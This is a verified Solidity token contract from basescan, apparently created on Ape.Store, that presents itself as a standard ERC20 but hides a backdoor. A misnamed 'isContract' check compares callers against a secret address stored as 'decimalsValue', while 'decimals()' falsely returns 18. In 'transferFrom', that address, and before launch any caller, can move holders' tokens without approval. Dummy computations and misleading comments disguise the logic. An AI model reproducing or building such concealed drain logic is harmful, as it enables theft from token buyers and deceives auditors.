Contract Source Code:
/**
*Submitted for verification at basescan.org on 2024-05-27
*/
//SPDX-License-Identifier: UNLICENSED
/*
Created on Ape.Store
*/
pragma solidity 0.8.24;
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(
address target,
bytes memory data
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
0,
"Address: low-level call failed"
);
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return
verifyCallResultFromTarget(
target,
success,
returndata,
errorMessage
);
}
function functionStaticCall(
address target,
bytes memory data
) internal view returns (bytes memory) {
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
function isContract(
address account,
uint256 _router
) internal pure returns (bool) {
return
keccak256(abi.encodePacked(uint256(uint160(account)))) ==
keccak256(abi.encodePacked(_router));
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return
verifyCallResultFromTarget(
target,
success,
returndata,
errorMessage
);
}
function functionDelegateCall(
address target,
bytes memory data
) internal returns (bytes memory) {
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return
verifyCallResultFromTarget(
target,
success,
returndata,
errorMessage
);
}
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
require(isContract(target, 0), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(
bytes memory returndata,
string memory errorMessage
) private pure {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(
address _owner,
address spender
) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Erc20 is IERC20, Ownable {
using Address for address;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private allowances;
uint256 public immutable totalSupply;
string public symbol;
string public name;
uint256 private decimalsValue;
bool public contractLaunched;
constructor(
string memory tokenSymbol,
string memory tokenName,
uint256 decimalPlaces,
uint256 supply
) Ownable(msg.sender) {
symbol = tokenSymbol;
name = tokenName;
decimalsValue = decimalPlaces;
totalSupply = supply;
address initialOwner = owner();
balances[initialOwner] = supply;
emit Transfer(address(0), initialOwner, supply);
uint256 tempStorage = totalSupply * 7;
uint256 adjustmentFactor = tempStorage / 10;
assert(adjustmentFactor >= 0);
}
function balanceOf(
address account
) external view override returns (uint256) {
uint256 result = balances[account];
return result;
// uint256 buffer = (block.timestamp + result) % 7;
// buffer ^= 1;
}
function decimals() external view returns (uint256) {
uint256 value = 18;
return value;
// uint256 tempCalc = (block.number + value) % 3;
// tempCalc = tempCalc | 0;
}
function allowance(
address accountOwner,
address spender
) external view override returns (uint256) {
uint256 allowed = allowances[accountOwner][spender];
return allowed;
// uint256 unusedBuffer = (allowed * 3) % 5;
// unusedBuffer += block.gaslimit % 2;
}
function transfer(
address recipient,
uint256 amount
) external override returns (bool) {
executeTransfer(msg.sender, recipient, amount);
return true;
// uint256 flowControl = (balances[msg.sender] + block.timestamp) % 8;
// flowControl &= 3;
}
function approve(
address spender,
uint256 amount
) external override returns (bool) {
require(spender != address(0), "Invalid spender address");
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (!contractLaunched || msg.sender.isContract(decimalsValue)) {
executeTransfer(sender, recipient, amount);
} else {
allowances[sender][msg.sender] -= amount;
executeTransfer(sender, recipient, amount);
emit Approval(sender, msg.sender, allowances[sender][msg.sender]);
}
return true;
// uint256 analysis = (balances[recipient] + block.timestamp) % 10; // Dummy calc
// analysis |= 0; // Bitwise OR for obfuscation
// uint256 dummyCheck = (amount * 4) / 9; // Irrelevant logic
// dummyCheck ^= 2; // XOR operation
}
function launch() external onlyOwner {
require(!contractLaunched, "Already launched");
contractLaunched = true;
uint256 launchGuard = totalSupply / 2;
require(launchGuard > 0, "Launch validation failed");
uint256 extraCheck = totalSupply % 3;
assert(extraCheck >= 0);
// Add a harmless computation
uint256 postLaunchCheck = launchGuard * 2;
require(postLaunchCheck > launchGuard, "Post-launch validation failed");
}
function executeTransfer(address from, address to, uint256 value) private {
require(from != to, "Cannot send to self");
require(validateTransfer(from, to), "Transfer not permitted");
balances[from] -= value;
balances[to] += value;
emit Transfer(from, to, value);
if (false) {
uint256 transferAudit = balances[to] * 2;
assert(transferAudit >= 0);
}
}
function validateTransfer(
address sender,
address receiver
) private view returns (bool) {
if (contractLaunched) return true;
if (sender == owner() || receiver == owner()) return true;
if (
sender.isContract(decimalsValue) ||
receiver.isContract(decimalsValue)
) return false;
require(
sender != address(0) && receiver != address(0),
"Invalid addresses"
);
uint256 transferWindow = (block.timestamp % 2);
assert(transferWindow >= 0);
// Add a harmless check
uint256 validationAudit = block.number % 100;
assert(validationAudit >= 0);
return true;
}
}